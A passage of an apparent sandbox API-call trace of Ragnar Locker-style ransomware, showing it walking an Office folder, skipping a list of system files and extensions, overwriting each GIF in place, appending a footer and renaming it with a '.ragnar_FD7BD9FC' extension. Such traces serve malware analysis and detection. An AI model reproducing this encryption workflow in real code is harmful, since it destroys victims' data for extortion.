dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.734] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.734] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb9, lpOverlapped=0x0) returned 1 [0097.735] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.735] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.735] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.735] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.735] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.735] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.735] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.735] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.735] GetProcessHeap () returned 0x580000 [0097.735] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.735] CloseHandle (hObject=0x10c) returned 1 [0097.735] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" [0097.735] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF.ragnar_FD7BD9FC" [0097.735] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.748] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10265_.GIF", cAlternateFileName="")) returned 1 [0097.748] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.748] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10265_.GIF" | out: lpString1="BD10265_.GIF") returned="BD10265_.GIF" [0097.748] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF") returned=".GIF" [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="autorun.inf") returned 1 [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="boot.ini") returned -1 [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="bootfont.bin") returned -1 [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="bootsect.bak") returned -1 [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="bootmgr") returned -1 [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="bootmgr.efi") returned -1 [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="desktop.ini") returned -1 [0097.748] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="iconcache.db") returned -1 [0097.749] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="ntldr") returned -1 [0097.749] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="ntuser.dat") returned -1 [0097.749] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.749] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="ntuser.ini") returned -1 [0097.749] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="thumbs.db") returned -1 [0097.749] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.749] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.749] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.749] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.749] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.749] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.749] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif")) returned 0x20 [0097.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.750] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=308) returned 1 [0097.750] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x12b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.750] GetProcessHeap () returned 0x580000 [0097.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.750] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.751] VirtualAlloc (lpAddress=0x0, dwSize=0x134, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.751] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.751] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.751] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x134, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x134, lpOverlapped=0x0) returned 1 [0097.751] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.751] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x134, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.751] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x134, lpOverlapped=0x0) returned 1 [0097.751] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x134, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.752] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.752] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.752] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.752] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.752] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.752] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.752] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.752] GetProcessHeap () returned 0x580000 [0097.752] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.752] CloseHandle (hObject=0x10c) returned 1 [0097.752] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" [0097.752] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF.ragnar_FD7BD9FC" [0097.752] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.755] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10266_.GIF", cAlternateFileName="")) returned 1 [0097.755] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.755] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10266_.GIF" | out: lpString1="BD10266_.GIF") returned="BD10266_.GIF" [0097.755] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF") returned=".GIF" [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="autorun.inf") returned 1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="boot.ini") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="bootfont.bin") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="bootsect.bak") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="bootmgr") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="bootmgr.efi") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="desktop.ini") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="iconcache.db") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="ntldr") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="ntuser.dat") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="ntuser.ini") returned -1 [0097.755] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="thumbs.db") returned -1 [0097.755] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.755] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.755] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.755] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.755] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.755] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.755] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif")) returned 0x20 [0097.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.756] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=177) returned 1 [0097.756] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.756] GetProcessHeap () returned 0x580000 [0097.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.756] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.757] VirtualAlloc (lpAddress=0x0, dwSize=0xb1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.757] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.757] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.757] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb1, lpOverlapped=0x0) returned 1 [0097.757] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.757] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb1, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.757] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb1, lpOverlapped=0x0) returned 1 [0097.757] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.758] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.758] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.758] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.758] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.758] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.758] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.758] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.758] GetProcessHeap () returned 0x580000 [0097.758] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.758] CloseHandle (hObject=0x10c) returned 1 [0097.758] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" [0097.758] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF.ragnar_FD7BD9FC" [0097.758] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.790] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10267_.GIF", cAlternateFileName="")) returned 1 [0097.790] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.790] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10267_.GIF" | out: lpString1="BD10267_.GIF") returned="BD10267_.GIF" [0097.790] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF") returned=".GIF" [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="autorun.inf") returned 1 [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="boot.ini") returned -1 [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="bootfont.bin") returned -1 [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="bootsect.bak") returned -1 [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="bootmgr") returned -1 [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="bootmgr.efi") returned -1 [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="desktop.ini") returned -1 [0097.790] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="iconcache.db") returned -1 [0097.791] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="ntldr") returned -1 [0097.791] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="ntuser.dat") returned -1 [0097.791] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.791] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="ntuser.ini") returned -1 [0097.791] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="thumbs.db") returned -1 [0097.791] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.791] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.791] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.791] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.791] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.791] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.791] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif")) returned 0x20 [0097.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.791] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=311) returned 1 [0097.791] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x12e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.792] GetProcessHeap () returned 0x580000 [0097.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.792] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.792] VirtualAlloc (lpAddress=0x0, dwSize=0x137, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.793] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.793] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.793] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x137, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x137, lpOverlapped=0x0) returned 1 [0097.793] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.793] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x137, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.793] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x137, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x137, lpOverlapped=0x0) returned 